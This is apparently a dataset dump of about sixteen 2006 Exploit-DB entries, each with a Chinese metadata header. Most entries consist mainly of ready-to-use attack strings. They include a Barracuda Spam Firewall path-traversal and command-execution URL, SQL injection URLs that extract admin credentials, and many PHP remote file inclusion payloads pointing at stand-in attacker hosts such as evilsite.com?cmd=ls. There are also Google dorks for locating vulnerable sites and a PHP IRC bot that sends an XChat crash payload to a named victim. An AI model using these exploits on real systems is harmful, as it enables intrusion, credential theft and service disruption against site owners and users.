QLWD/code_shield huggingface dataset:
标题: Barracuda Spam Firewall 3.3.03.053 - Remote Code Execution (1) EDB-ID: 2136 CVE: 2006-4081 类型: REMOTE 平台: HARDWARE 发布日期: 2006-08-07 漏洞利用脚本: Title: Barracuda Arbitrary File Disclosure + Command Execution
Severity: High (Sensitive Information Disclosure)
Date: 01 August 2006
Version Affected: Barracuda Spam Firewall version 3.3.01.001 to 3.3.03.053
Discovered by: Greg Sinclair (gssincla@nnlsoftware.com)

Discovered on: 29 May 2006

Overview:
Barracuda Spam Firewalls (www.barracudanetworks.com) are vulnerable to
arbitrary file disclosure due to improper parameter sanitation.


Details:
The Barracuda Spam Firewalls from version 3.3.01.001 to 3.3.02.053 are vulnerable to
arbitrary file disclosure via the preview_email.cgi script. The /cgi-
bin/preview_email.cgi script is designed to retrieve a message from the local
message database on the Barracuda Spam Firewall. However, the "file" parameter which
is passed via GET is not properly sanitized to restrict the file retrieval to the
message database directories. The script looks for "/mail/mlog" in the file
parameter but does not take into account directory transversal arguments such as
".." The result is that any file that is accessible to the web server user is
accessible from the web interface. The script does require a valid user to be logged
in to perform this attack, however using the "Barracuda Hardcoded Password
Vulnerability" (NNL-20060801-01) guest password vulnerability this restriction can
easily be overcome. This particular problem is amplified by the fact that it is
possible to download the full configuration file for the barracuda. The
configuration file is periodically backed-up into the /tmp directory as
"/tmp/backup/periodic_config.txt.tmp" Message confidentiality is compromised by the
fact that an attacker who is able to view the message log screen (which can be done
via the guest password vulnerability) can easily view any message on the system.
The message logs are stored as /mail/mlog/X/Y/email_address/msgID where X is the
first character of email_address, Y is the second character of email_address,
email_address is the recipient's email address and msgID is the message ID assigned
to the message in question. So for example if jon@smith.com received a message with
messageID 1234, any user could view the message by entering
/mail/mlog/j/o/jon@smith.com/1234

Proof of Concept:

https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../tmp/backup/periodic_config.txt.tmp

Command Execution by Matthew Hall <lists[at]ecsc.co.uk>

https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/ls%20/|

Recommendations:
* Never allow your barracuda web interface to be accessible from untrusted networks (especially the Internet)
* Upgrade to version 3.3.0.54 or later

Vendor Contact:
30 May 2006   - Initial Vendor Contact
24 June 2006  - Vendor replies with prospect of fix
17 July 2006  - NNL request status update, no reply
01 Aug 2006   - NNL releases vuln report, notifies vendor of release

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2136
标题: YenerTurk Haber Script 1.0 - SQL Injection EDB-ID: 2138 CVE: 2006-4064 类型: WEBAPPS 平台: ASP 发布日期: 2006-08-07 漏洞利用脚本: #YenerTurk Haber Script v1.0 SQL Injection Vulnebrality 
#Credit:ASIANEAGLE                                      
#Contact:admin@asianeagle.org                           


#Exploit:
Admin Nick:
http://[SITE]/Path to YenerTurk/default.asp?x=2&kategori=11&id=-1%20union%20select%200,kullanici_adi,2,3,4,5,6,7,8%20from%20admin%20where%20id%20like%201
Admin pass:
http://[SITE]/Path to YenerTurk/default.asp?x=2&kategori=11&id=-1%20union%20select%200,sifre,2,3,4,5,6,7,8%20from%20admin%20where%20id%20like%201

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2138
标题: SQLiteWebAdmin 0.1 - 'tpl.inc.php' Remote File Inclusion EDB-ID: 2123 CVE: 2006-4102 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: SQLiteWebAdmin
http://sourceforge.net/projects/sqlitewebadmin

SQLiteWebAdmin is a simple PHP program for administrating
a SQL DataBase.

It suffers of a Remote File Inclusion Vulnerability.

The bug is in the "tpl.inc.php" program in the "lib"
directory, and is exploited when passing the parameter
"conf[classpath]".

http://www.server.com/lib/tpl.inc.php?conf[classpath]=[URL-OF-SCRIPT]

Succesfull explotation, needs register_globals=on

Att.
SirDarckCat
elhacker.net

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2123
标题: SAPID Gallery 1.0 - 'ROOT_PATH' Remote File Inclusion EDB-ID: 2130 CVE: 2006-4065 2006-4063 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  SAPID Gallery <= v.1 (root_path) Remote File Include Vulnerability
$$  Script site: http://sapid.sourceforge.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[sapidgalery_path]/usr/extensions/get_calendar.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidgalery_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2130
标题: ModernBill 1.6 - 'config.php' Remote File Inclusion EDB-ID: 2127 CVE: 2006-4034 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: #############################SolpotCrew Community################################
#
# modernbill ver 1.6 (DIR) Remote File Inclusion
#
# Download file : http://freshmeat.net/projects/modernbill/
#
#################################################################################
#
#
# Bug Found By :Solpot a.k.a (k. Hasibuan) (03-08-2006)
#
# contact: chris_hasibuan@yahoo.com
#
# Website : http://www.solpotcrew.org/adv/solpot-adv-04.txt
#
################################################################################
#
#
# Greetz: choi , cow_1seng , Ibnusina , Lappet_tutung , h4ntu , r4dja ,
# L0sTBoy , Matdhule , setiawan , barbarosa, NpR , Fungky , Blue|spy
# home_edition2001 , Rendy ,Tje , m3lky , no-profile , bYu
# and all crew #mardongan @ irc.dal.net
#
#
###############################################################################
Input passed to the "DIR" is not properly verified
before being used to include files. This can be exploited to execute
arbitrary PHP code by including files from local or external resources.

code from include/html/config.php

//include($DIR."include/misc/mod_sessions/session_functions.inc.php");
#session_set_save_handler("sess_mysql_open","","sess_mysql_read","sess_mysql_write","sess_mysql_destroy","sess_mysql_gc");
//session_start();
session_register("set_language");
session_register("v");
$new_language = ($set_language) ? $set_language : NULL ;
$signup_form = TRUE;
include_once($DIR."include/functions.inc.php");
## ------------------------------------------------------
## DO NOT CHANGE STOP
## ------------------------------------------------------

google dork : allinurl:/modernbill/

exploit: http://somehost/modernbill/include/html/config.php?DIR=http://evilcode

##############################MY LOVE JUST FOR U RIE#########################
######################################E.O.F##################################

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2127
标题: phpAutoMembersArea 3.2.5 - 'installed_config_file' Remote File Inclusion EDB-ID: 2132 CVE: 2006-4050 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: +--------------------------------------------------------------------
+
+ phpAutoMembersArea 3.2.5 ($installed_config_file) Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: phpAutoMembersArea 3.2.5
+ Venedor ...........: http://www.dwalker.co.uk
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_83.htm
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code auto_check_renewals.php (line 20):
+
+ .....
+ include($installed_config_file);:
+
+ .....
+
+--------------------------------------------------------------------
+
+ $installed_config_file is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Download the upgrade now:
+ http://www.dwalker.co.uk/phpautomembersarea/
+ See: http://dwalker.co.uk/forum/viewtopic.php?t=517
+
+--------------------------------------------------------------------
+
+ PoC:
+ http://[target]/auto_check_renewals.php?installed_config_file=http://evilsite.com?cmd=ls
+
+--------------------------------------------------------------------
+
+ Comment:
+ Thanks for the friendly and quick contact with the developer
+ David Walker.
+ Reported the vuln today at 10:04am -> patch available 4:47pm
+ -> ideal!!!!
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2132
标题: NEWSolved Lite 1.9.2 - 'abs_path' Remote File Inclusion EDB-ID: 2135 CVE: 2006-4059 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: +--------------------------------------------------------------------
+
+ NEWSolved Lite v1.9.2 (abs_path) Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: NEWSolved Lite v1.9.2 (maybe above)
+ Venedor ...........: http://www.usolved.net
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_286.htm
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+ http://www.bb-pcsecurity.de
+
+--------------------------------------------------------------------
+
+ Affected files:
+
+ newsscript_lyt.php
+ newsticker/newsscript_get.php
+ inc/output/news_theme1.php
+ inc/output/news_theme2.php
+ inc/output/news_theme3.php
+
+--------------------------------------------------------------------
+
+ $abs_path is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+
+ Download Patch v1.9.3 and replace the files above.
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/inc/output/news_theme1.php?abs_path=http://evilsite.com?cmd=ls
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2135
标题: phpCC 4.2 Beta - 'base_dir' Remote File Inclusion EDB-ID: 2134 CVE: 2006-4073 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: #############################SolpotCrew Community################################
#
#        phpCC - Beta 4.2 (base_dir) Remote File Inclusion 
#
#        Download file : http://www.phpcc.at/download_file1.html
#
#################################################################################
#
#
#       Bug Found By :Solpot a.k.a (k. Hasibuan) (06-08-2006)
#
#       contact: chris_hasibuan@yahoo.com 
# 
#       Website : http://www.solpotcrew.org/adv/solpot-adv-05.txt
#
################################################################################
#
#
#      Greetz: choi , h4ntu , Ibnusina , r4dja , No-profile , begu , madkid
#              robby , Matdhule , setiawan , m3lky , NpR , Fungky , barbarosa
#              home_edition2001 , Rendy , cow_1seng , ^^KaBRuTz , bYu , Lappet
#              Blue|spy , cah|gemblung , Slacky , blind_boy
#              and all member solpotcrew community @ http://solpotcrew.org/forum/
#
#
###############################################################################
Input passed to the "base_dir" is not properly verified 

before being used to include files. This can be exploited to execute 
arbitrary PHP code by including files from local or external resources.

code from login.php

<?php
define('PHPCC', true);
define('SITE', 'login.php');

include($base_dir."includes/common.php");
include($base_dir."includes/header.php");

switch( $_GET['action'] )

code from reactivate.php

define('PHPCC', true);

include($base_dir."includes/config.php");
include($base_dir."includes/constants.php");
include($base_dir."includes/functions.php");
include($base_dir.'includes/sessions.php');

if( $_POST['submit'] == true )

code from register.php

<?php
define('PHPCC', true);
define('SITE', 'register.php');

include( $base_dir . "includes/common.php" );
include( $base_dir . "includes/header.php" );

Google dork : "Powered by phpCC Beta 4.2"

exploit : http://somehost/login.php?base_dir=http://evilcode
          http://somehost/reactivate.php?base_dir=http://evilcode
          http://somehost/register.php?base_dir=http://evilcode

##############################MY LOVE JUST FOR U RIE#########################
######################################E.O.F##################################

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2134
标题: SAPID Shop 1.2 - 'ROOT_PATH' Remote File Inclusion EDB-ID: 2131 CVE: 2006-4063 2006-4062 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  SAPID Shop <= v.1.2 (root_path) Remote File Include Vulnerability
$$  Script site: http://sapid.sourceforge.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[sapidshop_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2131
标题: Joomla! Component JD-Wiki 1.0.2 - Remote File Inclusion EDB-ID: 2125 CVE: 2006-4074 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: ####################################################################################
#JD-Wiki Remote File Include
------------------------------------------------------------------------------------
JD-Wiki is the Joomla! integration of the nice DokuWiki.
DokuWiki is a standards compliant, simple to use Wiki, mainly aimed at creating 
documentation of any kind.
------------------------------------------------------------------------------------
#Bug Found by: jank0
#greetz: hackbsd crew
#risk: dangerous
##this bug allows a remote atacker to execute commands via rfi

path: ?mosConfig_absolute_path=

xpl:
/components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=http://shell


Contact: irc.undernet.org #hackbsd & #ircmasters

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2125
标题: SAPID 1.2.3.05 - 'ROOT_PATH' Remote File Inclusion EDB-ID: 2128 CVE: 2006-4063 2006-4026 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  SAPID CMS <= v. 1.2.3.05 (root_path) Remote File Include Vulnerability
$$  Script site: http://sapid.sourceforge.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[sapidcms_path]/usr/extensions/get_infochannel.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidcms_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2128
标题: XChat 2.6.7 (Windows) - Remote Denial of Service EDB-ID: 2124 CVE: 2006-4455 类型: DOS 平台: WINDOWS 发布日期: 2006-08-07 漏洞利用脚本: <?
 # another way to test this with irssi/bitchx <below> /str0ke
 # /exec -o perl -e 'print "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82"'
 ?>

<?php
// XChat <= 2.6.7 Windows Remote Crash DoS by ratboy
// Tested on Windows SP1/SP2          
// The following bug was tested on the XChat <= 2.6.7 on Windows SP1/SP2  

//Stop the script timing out
set_time_limit(0);

//Set constants
define("SERVER", 'irc.enigmagroup.org');
define("PORT", 6667);
define("CHANNEL", "#enigmagroup");  //Set the channel the bot will join here
define("NICK", "ratbot");    //Set the bot's nick here
define("EXPLOIT", "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82");
define("VICTIM", "ratboy");

$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); // Create the Socket
$fp = socket_connect($socket, SERVER, PORT); // Connect to the server
socket_write($socket,"USER ratboy ratboy ratboy :ratboy\r\n"); // Send the Username to the server
socket_write($socket,"NICK ".NICK." \r\n"); // Change our nickname
socket_write($socket,"JOIN ".CHANNEL." \r\n"); // Join the channel
while($data = @socket_read($socket,2046)) { //read the data
    echo $data;
    $cmd = explode(" ", $data);

    if (strpos($data, "PING :")===0) {
        socket_write($socket, "PONG :".substr($data, 6)."\r\n");
        continue;
    }
    
    if($cmd[1] == "PRIVMSG"){  // Send the exploit right when the channel gets a message then stop the bot
        socket_write($socket, "PRIVMSG ".VICTIM." :".EXPLOIT."\r\n");
        socket_close($socket);
    }
}

?> 

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2124
标题: SAPID Blog Beta 2 - 'ROOT_PATH' Remote File Inclusion EDB-ID: 2129 CVE: 2006-4063 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  SAPID Blog <= Beta 2 (root_path) Remote File Include Vulnerability
$$  Script site: http://sapid.sourceforge.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[sapidblog_path]/usr/extensions/get_blog_infochannel.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidblog_path]/usr/extensions/get_blog_meta_info.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidblog_path]/usr/extensions/get_infochannel.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidblog_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2129
标题: PHP Live Helper 2.0 - 'abs_path' Remote File Inclusion EDB-ID: 2120 CVE: 2006-4051 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: \_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_43$2006

------------------------------------------------------------------------------
[ECHO_ADV_43$2006] PHP Live Helper <= 2.0 (abs_path) Remote File Inclusion
------------------------------------------------------------------------------

Author  : Ahmad Maulana a.k.a Matdhule
Date Found : July, 02nd 2006
Location : Indonesia, Jakarta
web  : http://advisories.echo.or.id/adv/adv4333-matdhule-2006.txt
Critical Lvl : Highly critical
Impact  : System access
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PHP Live Helper

Application : PHP Live Helper
version  : Latest version [2.0]
URL  : http://www.turnkeywebtools.com/phplivehelper

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

-----------------------global.php----------------------
....
<?PHP
/*
  global.php - 05/30/2006 - 5:27pm PST - 2.0
  
  PHP Live Helper
  http://www.turnkeywebtools.com/phplivehelper/
  
  Copyright (c) 2001-2006 Turnkey Web Tools, Inc.
*/

define('PLH_SESSION_START', '1');

////////////////////////////
// Load Class & Secure Files
////////////////////////////

require_once $abs_path."/libsecure.php";
include_once $abs_path."/include/class.browser.php";
...
----------------------------------------------------------

Input passed to the "abs_path" parameter in global.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $abs_path on global.php.

Notification:
~~~~~~~~~~

I've been contacting the web/software administrator to tell about this hole in his system, 
but instead of giving  a nice response, he replied so rudely and arrogantly. 
I recommend not to use this product for your own sake.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson   :)  
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-08-07] URL: https://www.exploit-db.com/exploits/2120
标题: Kayako eSupport 2.3.1 - 'subd' Remote File Inclusion EDB-ID: 2115 CVE: 2006-4011 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-02 漏洞利用脚本: Script: Kayako eSupport <= 2.3.1
Vendor: Kayako (www.kayako.com)
Discovered: beford <xbefordx gmail com>
Comments: It seems like the vendor silently fixed the issue in the
current version (more like since v2.3.5) withouth warning users of
previous versions, noobs. Requires that "register_globals" is enabled.
Vulnerable File: esupport/admin/autoclose.php

[code]
require_once $subd . "functions.php";
[/code]

Not-leet-enough: "Powered By Kayako eSupport"
http://www.google.com/search?q=%22Helpdesk+Powered+by+Kayako+eSupport+v2.3.1%22
http://www.google.com/search?q=%22Helpdesk+Powered+by+Kayako+eSupport+v2.2%22

POC: http://omghax.com/esupport/admin/autoclose.php?subd=http://remotefile/?

# milw0rm.com [2006-08-02] URL: https://www.exploit-db.com/exploits/2115